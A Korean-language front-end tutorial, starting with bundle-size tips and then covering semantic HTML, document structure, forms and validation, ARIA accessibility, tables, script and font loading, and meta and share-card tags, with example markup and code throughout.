// 벤더 청크 분리 — 자주 안 바뀌는 것을 따로 (캐시 효율)
build: {
  rollupOptions: {
    output: {
      manualChunks(id) {
        if (id.includes("node_modules")) {
          if (id.includes("react")) return "react";
          return "vendor";
        }
      },
    },
  },
}
실무에서 번들을 줄인 사례
  moment → date-fns        -230KB
  lodash → lodash-es       -60KB (개별 import)
  axios  → fetch(내장)      -35KB
  전체 아이콘 → 쓰는 것만    -100KB+
  polyfill 재검토           -50KB (타깃 브라우저 확인)

★ 가장 큰 효과는 "안 쓰는 라이브러리를 지우는 것"입니다.
  번들러 설정을 만지기 전에 의존성 목록부터 보세요.
// 라이브러리를 만든다면 — 소비자의 트리셰이킹을 돕는 방법
{
  "type": "module",
  "sideEffects": false,                  // ★
  "exports": {
    ".":        "./dist/index.js",
    "./utils":  "./dist/utils.js",       // ★ 하위 경로 노출
    "./package.json": "./package.json"
  }
}
// 하위 경로를 열어 두면 사용자가 필요한 것만 가져갈 수 있습니다
서버(Node)는 번들 크기가 대개 문제가 아닙니다. 이 절은 프런트엔드·React Native·Electron 에서 값을 합니다. 서버라면 Docker 이미지 크기(🧰 도구 o12)와 콜드 스타트(서버리스)를 대신 보세요.
HTML · 화면의 뼈대

태그를
외우는 게
아니라
의미를 고른다

HTML 은 배우기 쉬운데 잘 쓰기는 어려운 언어입니다. <div> 만으로도 화면은 나오기 때문입니다. 이 탭은 왜 그 태그여야 하는가를 기준으로 정리했습니다 — 올바른 태그는 검색 · 접근성 · 키보드 조작 · 폼 검증을 공짜로 얻는 방법입니다. 여기까지 마치면 스크린리더와 검색 엔진이 함께 읽을 수 있는 문서를 짤 수 있습니다.

13SECTIONS
0설치 필요
1페이지 1 h1
a11y공짜로 얻는 것
HTML 01

HTML 은 디자인이 아니라 의미

브라우저는 태그를 보고 역할을 판단합니다. 모양은 CSS 가 따로 정합니다.

같은 화면, 다른 결과

<!-- ✗ 모양만 버튼 -->
<div class="btn" onclick="save()">저장</div>

<!-- ✓ 진짜 버튼 -->
<button type="button" onclick="save()">저장</button>
얻는 것divbutton
Tab 으로 이동✗✓
Enter · Space 로 실행✗✓
낭독기가 "버튼"이라 읽음✗✓
:focus-visible 테두리✗✓
비활성화(disabled)✗✓
div 로 만들면 위 다섯 가지를 전부 직접 구현해야 합니다. tabindex, 키 핸들러, role, aria-disabled… 올바른 태그 하나가 그걸 전부 대신합니다.

태그를 고르는 한 줄 기준

누른다        → button   (페이지 안에서 무언가 실행)
이동한다      → a href    (주소가 바뀐다)
제목이다      → h1 ~ h6
목록이다      → ul / ol / li
입력받는다    → input / textarea / select + label
표다          → table (수치 데이터. 레이아웃 용도 ✗)
그 외 묶음    → div (의미 없는 상자)
글 묶음       → p, section, article
a 와 button 을 바꿔 쓰지 마세요. <a> 는 주소가 있는 이동입니다 — 새 탭으로 열기·주소 복사가 됩니다. 주소가 없는데 <a href="#"> 를 쓰면 키보드 사용자가 링크인 줄 알고 눌렀다가 페이지 맨 위로 튑니다.
한 문서를 읽는 네 독자 — div 만 쓰면 셋을 잃습니다 내가 쓴 HTML h1 · nav · button 브라우저 검색 엔진 스크린리더 AI·리더 화면으로 그린다 div 만이어도 그려는 줍니다 제목·구조로 순위를 매긴다 div 만이면 제목·본문 구분 실패 역할·이름을 소리로 읽는다 div 만이면 "그룹, 그룹…" 본문 구조를 추출한다 div 만이면 본문 추출 실패 화면은 같아 보여도 가운데 하나를 어떻게 쓰느냐가 네 독자 모두에게 전해집니다
시맨틱 HTML 은 취향이 아니라 화면 없이 읽는 세 독자를 위한 API 설계입니다.
HTML 02

문서의 기본 골격

복붙해서 쓰는 뼈대입니다. 줄마다 이유가 있습니다.

<!doctype html>
<html lang="ko">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>페이지 제목 — 사이트 이름</title>
  <meta name="description" content="검색 결과에 뜨는 두 줄 설명">
  <link rel="stylesheet" href="/style.css">
</head>
<body>
  <a class="skip" href="#main">본문 바로가기</a>
  <header>…</header>
  <main id="main">…</main>
  <footer>…</footer>
  <script src="/app.js" defer></script>
</body>
</html>
줄없으면 생기는 일
<!doctype html>브라우저가 호환 모드로 떨어져 CSS 계산이 옛날 방식이 됩니다
lang="ko"낭독기가 영어 발음으로 한글을 읽습니다. 번역 도구도 오작동
charset="utf-8"한글이 깨집니다. head 의 첫 줄에 두세요
viewport모바일에서 PC 화면을 축소해 보여 줍니다 (글씨가 개미만 해짐)
title브라우저 탭·북마크·검색 결과 제목이 비어 버립니다
본문 바로가기(skip link) 는 키보드 사용자를 위한 것입니다. 메뉴가 20개면 Tab 을 20번 눌러야 본문에 닿습니다. 평소엔 화면 밖에 숨겨 두고 포커스를 받을 때만 보이게 합니다 — .skip{position:absolute;left:-9999px} .skip:focus{left:8px;top:8px}

본문 구조 — 태그를 의미로 고르면 얻는 것

div 로만 짠 것과 무엇이 다른가

<!-- ✗ 전부 div — 기계가 읽을 단서가 없습니다 -->
<div class="header">
  <div class="nav"><div class="item">홈</div></div>
</div>
<div class="content">
  <div class="title">제목</div>
  <div class="btn" onclick="save()">저장</div>
</div>

<!-- ✓ 의미 있는 태그 — 같은 화면, 다른 결과 -->
<header>
  <nav aria-label="주 메뉴">
    <ul><li><a href="/">홈</a></li></ul>
  </nav>
</header>
<main id="main">
  <h1>제목</h1>
  <article>
    <h2>소제목</h2>
    <p>본문</p>
  </article>
  <button type="button" onclick="save()">저장</button>
</main>
<footer><p>&copy; 2026</p></footer>
얻는 것설명
키보드 조작button 은 Tab·Enter·Space 가 그냥 됩니다. div 는 직접 다 구현해야 합니다
스크린 리더"주 메뉴, 목록, 항목 1/5" 처럼 구조를 읽어 줍니다
검색·공유크롤러가 제목·본문을 구분합니다
브라우저 기능읽기 모드 · 번역 · 자동 완성이 정확해집니다
CSS 가 짧아짐클래스를 덜 만들게 됩니다
<div onclick> 은 버튼이 아닙니다. 마우스로는 눌리지만 Tab 으로 갈 수 없고, Enter 로 눌리지 않고, 스크린 리더가 "버튼"이라고 알려 주지 않습니다. tabindex·role·키 이벤트를 전부 직접 붙여야 겨우 비슷해집니다 — <button type="button"> 한 줄이면 끝나는 일입니다.

어떤 태그를 언제

태그쓸 곳 · 주의
<main>페이지당 하나. 헤더·푸터를 뺀 고유 내용
<article>떼어 내도 말이 되는 단위 — 글·상품 카드·댓글
<section>주제 묶음. 제목(h2~)이 있을 때만 쓰세요
<nav>주요 이동 링크 묶음. 여러 개면 aria-label 로 구분
<aside>본문과 간접적으로만 관련 — 광고·관련 글
<figure>·<figcaption>이미지·코드 + 설명
<time datetime>기계가 읽을 날짜 — <time datetime="2026-08-07">
<div>의미가 없고 순수하게 스타일 묶음일 때만
<!-- 제목 레벨은 건너뛰지 마세요 (h1 → h3 ✗) -->
<h1>문서 제목</h1>      <!-- 페이지당 하나 -->
  <h2>큰 절</h2>
    <h3>작은 절</h3>
  <h2>다음 절</h2>

<!-- "크게 보이려고" h 를 쓰지 마세요 — 크기는 CSS 로 -->
<h2 class="text-sm">구조상 h2 지만 작게 보임</h2>

<!-- 목록은 진짜 목록으로 (스크린 리더가 개수를 알려 줍니다) -->
<ul><li>…</li></ul>      <!-- 순서 없음 -->
<ol><li>…</li></ol>      <!-- 순서 있음 (단계·순위) -->
<dl><dt>용어</dt><dd>뜻</dd></dl>

<!-- 강조도 의미가 다릅니다 -->
<strong>중요함</strong>   <b>굵게만</b>
<em>강조해 읽음</em>      <i>기울임만</i>
브라우저 개발자 도구의 “접근성 트리”를 한 번 열어 보세요. 내 페이지가 기계에게 어떻게 보이는지가 그대로 나옵니다. div 만 잔뜩 나열돼 있다면 구조가 없는 것이고, 제목·목록·버튼이 이름과 함께 보이면 잘 짠 것입니다. Lighthouse 접근성 점수보다 이 화면이 훨씬 많은 것을 알려 줍니다.
비어 있으면 안 되는 다섯 줄 <!DOCTYPE html> 없으면 옛날 방식으로 해석됩니다 <html lang="ko"> 화면 낭독기 발음·번역 제안의 기준 <meta charset="utf-8"> 빠지면 한글이 깨집니다 · head 맨 위에 <meta name="viewport" …> 빠지면 모바일에서 축소되어 보입니다 <title>페이지 제목</title> 탭 이름 · 검색 결과 · 즐겨찾기 이름 head 에는 설명하는 것, body 에는 보이는 것 — 이 구분만 지키면 골격은 끝입니다
새 파일을 만들 때마다 이 다섯 줄을 확인하면 초반 사고가 사라집니다.
문서는 나무입니다 — 왼쪽 가지는 설명, 오른쪽 가지는 보이는 것 <!DOCTYPE html> 없으면 옛날 방식으로 해석됩니다 <html lang="ko"> lang — 낭독기 발음·번역의 기준 <head> — 설명하는 것 <body> — 보이는 것 <meta charset="utf-8"> <meta name="viewport" …> <title>페이지 제목</title> 빠지면 한글이 깨집니다 · 맨 위에 빠지면 모바일에서 축소됩니다 탭 이름 · 검색 결과 제목 <header> · <nav> <main> <footer> head 에는 설명하는 것, body 에는 보이는 것 — 이 구분만 지키면 골격은 끝입니다
새 파일을 만들 때마다 이 다섯 줄을 확인하면 초반 사고가 사라집니다.
HTML 03

제목 · 문단 · 목록

제목 태그는 글자 크기가 아니라 문서의 목차입니다.

제목은 건너뛰지 않는다

<!-- ✓ 계단처럼 -->
<h1>가이드</h1>
  <h2>설치</h2>
    <h3>윈도우</h3>
    <h3>맥</h3>
  <h2>사용법</h2>

<!-- ✗ h1 다음에 바로 h4 (작아 보여서) -->
<h1>가이드</h1>
<h4>설치</h4>
낭독기 사용자는 제목만 훑어 목차처럼 이동합니다. 단계를 건너뛰면 "여기가 어디의 하위인지" 알 수 없습니다. 작아 보이게 하려면 CSS 로 하세요 — h2{font-size:1rem} 는 아무 문제가 없습니다.

목록 · 인용 · 강조

<ul>                    <!-- 순서 없음 -->
  <li>사과</li>
</ul>

<ol>                    <!-- 순서 있음 (1,2,3) -->
  <li>물을 끓인다</li>
</ol>

<dl>                    <!-- 용어 : 설명 -->
  <dt>HTML</dt>
  <dd>문서의 구조를 적는 언어</dd>
</dl>

<strong>중요</strong>      <!-- 의미상 중요 (낭독기가 강조) -->
<b>굵게</b>              <!-- 그냥 시각적 굵기 -->
<em>강조</em>            <!-- 의미상 강조 -->
<i>기울임</i>            <!-- 그냥 시각적 -->
낭독기는 목록에 들어가면 "항목 5개"라고 먼저 알려 줍니다. <div> 를 줄줄이 세우면 그 정보가 사라집니다.

제목은 크기가 아니라 목차입니다

크기로 고른 제목
h1  사이트 이름
h3  오늘의 특가   ← "h2는 너무 커서"
h1  인기 상품     ← "눈에 띄게"
h4  공지사항

낭독기의 목차 기능이
뒤죽박죽 — 건너뛰며
탐색할 수 없습니다
구조로 고른 제목
h1  여름 세일          (페이지에 하나)
 h2  오늘의 특가
  h3  가전
  h3  패션
 h2  인기 상품
 h2  공지사항

책의 목차처럼 단계가
빠짐없이 이어집니다
크기는 CSS 로 따로!
낭독기 사용자의 대다수가 제목 건너뛰기(H 키)로 페이지를 탐색합니다 — 제목 구조가 곧 그들의 내비게이션입니다. 단계를 건너뛰지 마세요 (h2 다음은 h3, h4 로 점프 ✗).
HTML 04

링크와 이미지

alt 는 장식이 아니라 그 이미지가 하는 말입니다.

링크

<a href="/price">요금제</a>

<!-- 새 탭 — rel 을 반드시 함께 -->
<a href="https://example.com" target="_blank"
   rel="noopener noreferrer">외부 사이트 (새 탭)</a>

<!-- 파일 내려받기 -->
<a href="/guide.pdf" download>PDF 내려받기</a>

<!-- 전화 · 메일 -->
<a href="tel:01012345678">010-1234-5678</a>
<a href="mailto:me@example.com">메일 보내기</a>
"여기를 클릭"은 링크 이름으로 쓰지 마세요. 낭독기 사용자는 링크만 모아서 목록으로 봅니다 — "여기를 클릭"이 열 개면 아무것도 구분되지 않습니다. 링크 글자만 읽어도 어디로 가는지 알 수 있어야 합니다.

이미지

<!-- 내용이 있는 이미지 -->
<img src="chart.png" width="800" height="400"
     alt="2026년 분기별 매출 — 3분기에 40% 상승">

<!-- 장식용(옆에 같은 설명이 이미 있음) -->
<img src="deco.svg" alt="" aria-hidden="true">

<!-- 화면 크기별로 다른 파일 -->
<img src="s.jpg" alt="…"
     srcset="s.jpg 480w, m.jpg 960w, l.jpg 1920w"
     sizes="(max-width:600px) 100vw, 50vw">

<!-- 첫 화면 밖 이미지는 늦게 -->
<img src="below.jpg" alt="…" loading="lazy" decoding="async">
width·height 를 꼭 적으세요. 브라우저가 자리를 미리 잡아 두므로 이미지가 늦게 떠도 글이 아래로 밀리지 않습니다(레이아웃 이동 방지). CSS 로 크기를 바꿔도 비율 계산에만 쓰이니 안전합니다.
HTML 05

폼 — label 이 절반

입력칸에는 반드시 이름표가 붙어야 합니다. placeholder 는 이름표가 아닙니다.

<form action="/signup" method="post">
  <!-- ✓ for ↔ id 로 연결 -->
  <label for="email">이메일</label>
  <input id="email" name="email" type="email"
         autocomplete="email" required>

  <label for="pw">비밀번호</label>
  <input id="pw" name="pw" type="password"
         autocomplete="new-password" minlength="8" required>

  <!-- 라디오·체크박스는 fieldset 으로 묶는다 -->
  <fieldset>
    <legend>알림 받기</legend>
    <label><input type="radio" name="noti" value="y"> 받음</label>
    <label><input type="radio" name="noti" value="n"> 안 받음</label>
  </fieldset>

  <button type="submit">가입</button>
</form>
속성하는 일
name서버로 보내는 키. 없으면 그 값은 전송되지 않습니다
type모바일 키보드 모양이 바뀝니다 (email → @ 키, tel → 숫자판)
autocomplete브라우저 자동완성. 주소·카드 입력에서 이탈률을 크게 줄입니다
required·minlengthJS 없이 브라우저가 검사하고 메시지를 띄웁니다
inputmode키보드만 바꾸고 싶을 때 (numeric 등)
placeholder 를 label 대신 쓰지 마세요. 글자를 입력하는 순간 사라져서 무엇을 넣는 칸인지 알 수 없게 되고, 회색 글씨라 대비가 낮아 잘 보이지 않습니다. 자리가 없으면 label 을 화면에서만 숨기고(.sr-only) 남겨 두세요.

그대로 쓰는 회원가입 폼 — 태그만으로 여기까지 됩니다

<form method="post" action="/signup">
  <div class="field">
    <label for="email">이메일</label>
    <input id="email" name="email" type="email" required
           autocomplete="email" inputmode="email"
           aria-describedby="email-hint">
    <p id="email-hint" class="hint">로그인에 사용됩니다</p>
  </div>

  <div class="field">
    <label for="pw">비밀번호</label>
    <input id="pw" name="pw" type="password" required
           minlength="8" autocomplete="new-password">
  </div>

  <fieldset>                            <!-- 라디오·체크박스 묶음 -->
    <legend>수신 동의</legend>
    <label><input type="checkbox" name="agree" value="mail"> 메일</label>
    <label><input type="checkbox" name="agree" value="sms"> 문자</label>
  </fieldset>

  <button>가입하기</button>   <!-- form 안 기본 type 은 submit -->
</form>
이 폼이 공짜로 얻은 것어떤 속성 덕분에
모바일에서 이메일 키보드type="email" · inputmode
브라우저 자동완성 · 비밀번호 제안autocomplete — 가입 이탈률을 실제로 줄입니다
빈 채로 제출하면 브라우저가 막고 안내required · minlength
낭독기가 힌트까지 함께 읽음aria-describedby
라벨을 눌러도 체크박스 토글label 로 감싸기
label 하나가 폼 접근성의 절반입니다 연결된 경우 <label for="email">이메일</label> · <input id="email" name="email" type="email"> 글자를 눌러도 커서가 들어갑니다 — 체크박스는 이 차이가 특히 큽니다 낭독기가 칸에 닿았을 때 "이메일, 편집" 이라고 읽어 줍니다 placeholder 로 대신한 경우 <input placeholder="이메일"> — 한 글자만 입력해도 이름표가 사라집니다 회색 글씨라 대비가 낮고, 낭독기가 이름표로 안 읽는 경우가 있습니다 그리고 name 이 없으면 그 칸은 전송조차 되지 않습니다 칸을 label 로 감싸도 됩니다 — 다만 for 와 id 를 쓰는 쪽이 CSS 와 테스트에서 다루기 쉽습니다
폼 접근성은 어려운 작업이 아니라 for 와 id 를 맞추는 습관에서 대부분 해결됩니다.
HTML 06

폼 검증과 전송

브라우저 검증은 편의일 뿐입니다. 서버 검증은 없어선 안 됩니다.

기본 검증 + 내 메시지

<input id="nick" name="nick" required
       pattern="[a-zA-Z0-9]{3,12}"
       title="영문·숫자 3~12자">
const f = document.querySelector("form");
const nick = document.getElementById("nick");

nick.addEventListener("input", () => {
  nick.setCustomValidity(
    nick.validity.patternMismatch ? "영문·숫자 3~12자로 적어 주세요" : ""
  );
});

// ★ 아래 검사는 <form novalidate> 일 때만 필요합니다 — novalidate 가 없으면
//   브라우저가 제출 전에 이미 막아서 submit 이벤트 자체가 일어나지 않습니다
f.addEventListener("submit", (e) => {
  if (!f.checkValidity()) {          // 하나라도 통과 못 하면
    e.preventDefault();
    f.reportValidity();              // 브라우저 기본 말풍선 표시
  }
});
novalidate 를 form 에 붙이면 기본 말풍선을 끄고 직접 만든 에러 UI만 쓸 수 있습니다. 이때도 checkValidity() 로 판정은 그대로 활용하세요.

JS 로 보내기 (FormData)

f.addEventListener("submit", async (e) => {
  e.preventDefault();
  const data = new FormData(f);          // name 속성 기준으로 수집

  // 객체로 바꾸고 싶다면
  const body = Object.fromEntries(data);

  const res = await fetch("/api/signup", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(body),
  });

  if (!res.ok) { /* 서버가 준 에러를 화면에 */ }
});

// 파일 업로드는 FormData 를 그대로 보낸다
// (Content-Type 을 직접 넣지 말 것 — 경계 문자열이 필요)
await fetch("/api/upload", { method:"POST", body: new FormData(f) });
클라이언트 검증은 우회됩니다. 개발자 도구로 속성을 지우면 그만입니다. required 는 사용자를 돕는 장치이지 보안 장치가 아닙니다 — 같은 규칙을 서버에서 반드시 다시 확인하세요.
HTML 07

시맨틱 레이아웃

낭독기에는 "영역 목록"이 있습니다. 여기에 잡히도록 짜는 게 시맨틱입니다.

뼈대

<body>
  <header>                <!-- 사이트 머리 -->
    <nav aria-label="주 메뉴">…</nav>
  </header>

  <main id="main">         <!-- ★ 페이지에 하나. 본문 -->
    <h1>페이지 제목</h1>

    <article>              <!-- 떼어 놔도 말이 되는 덩어리 -->
      <h2>글 제목</h2>
      <section>            <!-- 그 안의 절 -->
        <h3>소제목</h3>
      </section>
    </article>

    <aside>…</aside>       <!-- 곁다리 (관련 글, 광고) -->
  </main>

  <footer>…</footer>
</body>

헷갈리는 지점

질문답
section vs div제목(h2~h6)이 붙는가로 정합니다. 제목이 없으면 그냥 div
article vs section잘라서 다른 곳에 붙여도 말이 되면 article (글·상품·댓글)
nav 는 몇 개?여러 개 가능. 대신 aria-label 로 구분하세요
main 은?페이지에 하나. 반복되는 머리·꼬리는 빼고 그 페이지 고유 내용만
figure그림 + 설명을 묶을 때. 설명은 figcaption
확인법 — 크롬 개발자도구 Elements → Accessibility 패널이나 낭독기의 랜드마크 목록을 열어 보세요. header · nav · main · footer 가 목록에 뜨면 제대로 짠 것입니다.
화면 → 태그 대응 — 이 그림이 랜드마크 목록이 됩니다 <header> 로고 · <nav aria-label="주 메뉴"> <main> — 페이지에 하나 <article> 그 자체로 완결된 글 <aside> 곁다리 — 관련 글 · 광고 <footer> 저작권 · 사이트맵 낭독기 사용자는 이 목록으로 한 번에 점프합니다: 배너(header) 내비게이션 ×2 본문(main) ★ 보충(aside) 콘텐츠 정보(footer)
div 로 지으면 이 목록이 텅 빕니다 — 낭독기 사용자는 Tab 을 수십 번 눌러 본문을 찾아야 합니다.
HTML 08

접근성 — 역할 · 이름 · 상태

ARIA 의 첫 규칙은 "ARIA 를 쓰지 않는 것"입니다.

세 가지만 맞추면 된다

<!-- 역할(role) — 이게 무엇인가 -->
<button>            → 버튼 (태그가 이미 알려 줌)

<!-- 이름(name) — 뭐라고 부르는가 -->
<button aria-label="닫기">✕</button>
<!-- 아이콘만 있는 버튼은 이름이 비어 "버튼"이라고만 읽힙니다 -->

<!-- 상태(state) — 지금 어떤가 -->
<button aria-expanded="false" aria-controls="menu">메뉴</button>
<ul id="menu" hidden>…</ul>
// 상태는 '바꿀 때마다' 같이 갱신해야 의미가 있습니다
btn.addEventListener("click", () => {
  const open = menu.hidden;              // 지금 닫혀 있으면 연다
  menu.hidden = !open;
  btn.setAttribute("aria-expanded", String(open));
});

자주 하는 실수

이렇게 쓰면이렇게
<div role="button"><button> — 키보드까지 공짜
display:none 으로 숨긴 뒤 낭독 기대숨기면 안 읽힙니다. 시각만 숨기려면 .sr-only
aria-label 을 아무 div 에역할 없는 요소의 label 은 무시됩니다
tabindex="5" 처럼 양수순서가 꼬입니다. 0(포함) / -1(JS 로만) 만 쓰세요
포커스 테두리 제거(outline:none)키보드 사용자가 길을 잃습니다. 대체 스타일을 꼭 주세요
/* 화면에서만 숨기고 낭독기에는 남기는 표준 패턴 */
.sr-only{
  position:absolute; width:1px; height:1px;
  padding:0; margin:-1px; overflow:hidden;
  clip-path:inset(50%); white-space:nowrap; border:0;
}
브라우저는 화면 말고 하나를 더 만듭니다 — 접근성 트리 내 HTML 태그와 속성 화면 — 눈으로 보는 결과 접근성 트리 — 역할 · 이름 · 상태 <button>저장</button> 역할 = 버튼 · 이름 = "저장" Tab 으로 도달 · Enter 와 Space 로 눌림 전부 공짜로 따라옵니다 <div onclick>저장</div> 역할 없음 — 그냥 글자 덩어리 Tab 으로 못 갑니다 · Enter 도 안 먹습니다 낭독기 사용자에게는 버튼이 없는 화면입니다 ARIA 는 없는 역할을 붙이는 도구입니다 — 맞는 태그가 있으면 그 태그를 쓰는 편이 언제나 낫습니다 확인하는 법 — 마우스를 치우고 Tab 키만으로 화면을 처음부터 끝까지 조작해 보세요
접근성의 출발점은 규격 암기가 아니라 맞는 태그를 쓰는 것 하나입니다.
HTML 09

표 제대로 쓰기

표는 수치 데이터에 씁니다. 레이아웃용 표는 낭독기에서 재앙입니다.

<table>
  <caption>2026년 분기별 매출 (단위: 백만원)</caption>
  <thead>
    <tr>
      <th scope="col">분기</th>
      <th scope="col">매출</th>
      <th scope="col">증감</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th scope="row">1분기</th>   <!-- 행 제목도 th -->
      <td>120</td>
      <td>+8%</td>
    </tr>
  </tbody>
</table>
scope 가 핵심입니다. 낭독기는 셀을 읽을 때 "1분기, 매출, 120" 처럼 그 셀이 어느 행·열에 속하는지 함께 읽어 줍니다. scope 가 없으면 숫자만 줄줄이 읽혀 아무 의미가 없습니다.
넓은 표는 모바일에서 가로로 넘칩니다. 표를 overflow-x:auto 상자로 감싸고 그 상자에 tabindex="0" 과 role="region", aria-label 을 주면 키보드로도 스크롤할 수 있습니다.

완성형 표 — 이 골격을 복사해 쓰세요

<div class="tw" tabindex="0" role="region" aria-label="분기별 매출표">
  <table>
    <caption>2026년 분기별 매출 (단위: 백만 원)</caption>
    <thead>
      <tr>
        <th scope="col">분기</th>
        <th scope="col">매출</th>
        <th scope="col">전년 대비</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <th scope="row">1분기</th>
        <td>120</td><td>+8%</td>
      </tr>
      <tr>
        <th scope="row">2분기</th>
        <td>135</td><td>+12%</td>
      </tr>
    </tbody>
    <tfoot>
      <tr><th scope="row">합계</th><td>255</td><td>—</td></tr>
    </tfoot>
  </table>
</div>
부품왜 필요한가
caption표의 제목 — 낭독기가 표에 들어가기 전에 읽어 줍니다. 시각적으로 숨겨도 됩니다
thead/tbody/tfoot구획 — 인쇄 시 매 페이지에 머리행 반복, 스타일 걸기도 쉬워집니다
행 머리도 th scope="row""2분기, 매출, 135" 처럼 행 맥락까지 읽힙니다
숫자 셀 정렬CSS 로 td{text-align:right; font-variant-numeric:tabular-nums} — 자릿수가 맞아 비교가 쉬워집니다
HTML 10

스크립트 · 스타일 로딩 순서

어디에 두느냐가 첫 화면이 뜨는 속도를 좌우합니다.

script 세 가지

<script src="a.js"></script>
<!-- 만나는 순간 파싱을 멈추고 받아서 실행 (가장 느림) -->

<script src="a.js" defer></script>
<!-- ✓ 기본 선택. 받는 동안 파싱 계속,
     HTML 을 다 읽은 뒤 '적힌 순서대로' 실행 -->

<script src="a.js" async></script>
<!-- 받자마자 실행. 순서 보장 ✗
     다른 코드와 무관한 것에만 (예: 애널리틱스) -->

<script type="module" src="a.js"></script>
<!-- 모듈은 기본이 defer 와 같음 -->
고민되면 defer 입니다. DOM 이 다 준비된 뒤 순서대로 도니 DOMContentLoaded 를 기다릴 필요도 없습니다.

미리 받기 · 늦게 받기

<!-- 첫 화면에 꼭 필요한 것: 미리 -->
<link rel="preload" href="/hero.webp" as="image">
<link rel="preload" href="/font.woff2" as="font"
      type="font/woff2" crossorigin>

<!-- 곧 갈 페이지: 미리 연결만 -->
<link rel="preconnect" href="https://api.example.com">

<!-- 화면 밖 이미지: 늦게 -->
<img loading="lazy" …>

<!-- 인쇄용 CSS 처럼 당장 필요 없는 것 -->
<link rel="stylesheet" href="print.css" media="print">
preload 를 남발하면 오히려 느려집니다. 전부 "1순위"면 1순위가 없는 것과 같습니다 — 첫 화면에 실제로 보이는 것(히어로 이미지, 본문 폰트) 정도로 제한하세요.
script 하나 때문에 첫 화면이 늦는 이유 — 가로가 시간입니다 (예시 값) 0 100 200 300 400 ms 일반 script 파싱 멈춤 — 받기 + 실행 파싱 첫 화면 defer (기본으로) 파싱 — 멈추지 않음 실행 첫 화면 ≈ 165 ms 내려받기 (병렬) async 파싱 실행 도착하는 대로 끊고 실행 — 순서 보장 없음 CSS 는 반대로 렌더링을 일부러 막습니다(렌더 차단) — 작게 나누고, 스크립트는 defer 로 type="module" 은 별도 표기 없이도 defer 와 같게 동작합니다
"자바스크립트가 무거워서 느리다"보다 "어디에 어떻게 붙였는가"가 먼저입니다 — 속성 하나로 바뀌는 부분이 큽니다.

첫 화면을 빠르게 — 우선순위대로

순위할 일효과 · 방법
1이미지 크기 지정레이아웃이 밀리는 현상(CLS)이 사라집니다 — width·height 속성
2스크립트에 defer파싱 차단 제거
3화면 밖 이미지 지연loading="lazy" — 단, 첫 화면 이미지에는 붙이지 마세요
4이미지 포맷·크기WebP·AVIF + srcset 으로 화면에 맞는 크기만
5폰트 전략font-display:swap + preload — 글자가 안 보이는 시간 제거
6preconnect외부 도메인 연결을 미리 (2~3개까지만)
7CSS 분할첫 화면용만 인라인, 나머지는 나중에

이미지 — 가장 효과가 큽니다

<!-- ★ width·height 를 반드시 — 로드 전에 자리를 잡아 둡니다 -->
<img src="/hero.webp" width="1200" height="630"
     alt="제품 화면"
     fetchpriority="high">          <!-- 첫 화면 대표 이미지에만 -->

<!-- 화면 밖 이미지는 지연 로드 -->
<img src="/thumb.webp" width="400" height="300"
     alt="" loading="lazy" decoding="async">

<!-- 화면 크기별로 다른 파일 — 모바일에 4K 를 보내지 않게 -->
<img src="/photo-800.webp"
     srcset="/photo-400.webp 400w,
             /photo-800.webp 800w,
             /photo-1600.webp 1600w"
     sizes="(max-width: 700px) 100vw, 700px"
     width="800" height="600" alt="설명">

<!-- 포맷 대체 — 지원하는 브라우저만 AVIF -->
<picture>
  <source srcset="/img.avif" type="image/avif">
  <source srcset="/img.webp" type="image/webp">
  <img src="/img.jpg" width="800" height="600" alt="설명">
</picture>
width·height 를 빼면 화면이 덜컥거립니다. 이미지가 도착하는 순간 자리를 차지하며 아래 내용을 밀어내기 때문입니다. 누르려던 버튼이 밀려서 다른 것을 누르게 되는 일이 실제로 생깁니다. CSS 로 크기를 바꿔도 상관없습니다 — 비율만 알려 주면 브라우저가 자리를 미리 잡아 둡니다.

폰트 — 글자가 안 보이는 시간을 없앱니다

@font-face{
  font-family:"Pretendard";
  src:url("/fonts/pretendard.woff2") format("woff2");
  font-weight:400;
  font-display:swap;        /* ★ 기본 폰트로 먼저 보여 주고 나중에 교체 */
  unicode-range:U+AC00-D7A3, U+0020-007E;   /* 필요한 글자만 */
}
<!-- 본문 폰트만 미리 받기 (crossorigin 을 빼면 두 번 받습니다) -->
<link rel="preload" href="/fonts/pretendard.woff2"
      as="font" type="font/woff2" crossorigin>
font-display동작
swap기본 폰트로 즉시 표시 → 도착하면 교체. 대부분 이것
optional느리면 아예 안 씁니다 — 교체 깜빡임이 싫을 때
block(기본값 auto 가 대개 이렇게 동작)최대 3초간 글자가 안 보입니다
<!-- 외부 도메인은 미리 연결만 (2~3개까지) -->
<link rel="preconnect" href="https://cdn.example.com" crossorigin>
<link rel="dns-prefetch" href="https://api.example.com">

<!-- 인쇄용·조건부 CSS 는 렌더링을 막지 않습니다 -->
<link rel="stylesheet" href="/print.css" media="print">
<link rel="stylesheet" href="/wide.css" media="(min-width:1200px)">
한글 폰트는 용량이 큽니다 — 서브셋이 거의 필수입니다. 전체 한글 글리프를 담으면 수 MB 가 되지만, 실제로 쓰는 글자만 남기면 수십 KB 로 줄어듭니다. unicode-range 로 나눠 두면 필요한 구간만 받아 갑니다. 빌드 단계에서 subset-font 같은 도구로 자동화해 두세요.
HTML 11

메타 태그와 공유 카드

링크를 채팅방에 붙였을 때 뜨는 그 미리보기를 만드는 부분입니다.

<!-- 검색 -->
<title>가격 안내 — 서비스명</title>
<meta name="description" content="검색 결과에 두 줄로 뜨는 설명. 120자 안팎.">
<link rel="canonical" href="https://example.com/price">

<!-- 공유 미리보기 (카카오·슬랙·페북 공통) -->
<meta property="og:title"       content="가격 안내">
<meta property="og:description" content="플랜별 가격을 한눈에">
<meta property="og:image"       content="https://example.com/og.png">
<meta property="og:url"         content="https://example.com/price">
<meta property="og:type"        content="website">

<!-- 트위터(X) 큰 이미지 -->
<meta name="twitter:card" content="summary_large_image">

<!-- 색상 테마 -->
<meta name="theme-color" content="#0b0b0d">
항목주의
og:image절대 주소여야 합니다. 권장 1200×630. 상대경로는 대부분 무시됩니다
canonical같은 내용이 여러 주소로 있을 때 대표 주소를 지정 (중복 색인 방지)
description검색 순위에 직접 쓰이진 않지만 클릭률을 좌우합니다
키워드 meta이제 아무 효과 없습니다. 넣지 마세요
SPA(리액트·Vue)는 HTML 이 비어 있어 크롤러가 못 읽는 경우가 있습니다. 공유·검색이 중요하면 SSR·정적 생성(Next.js·Nuxt)을 쓰거나 최소한 메타 태그만이라도 서버에서 박아 주세요.
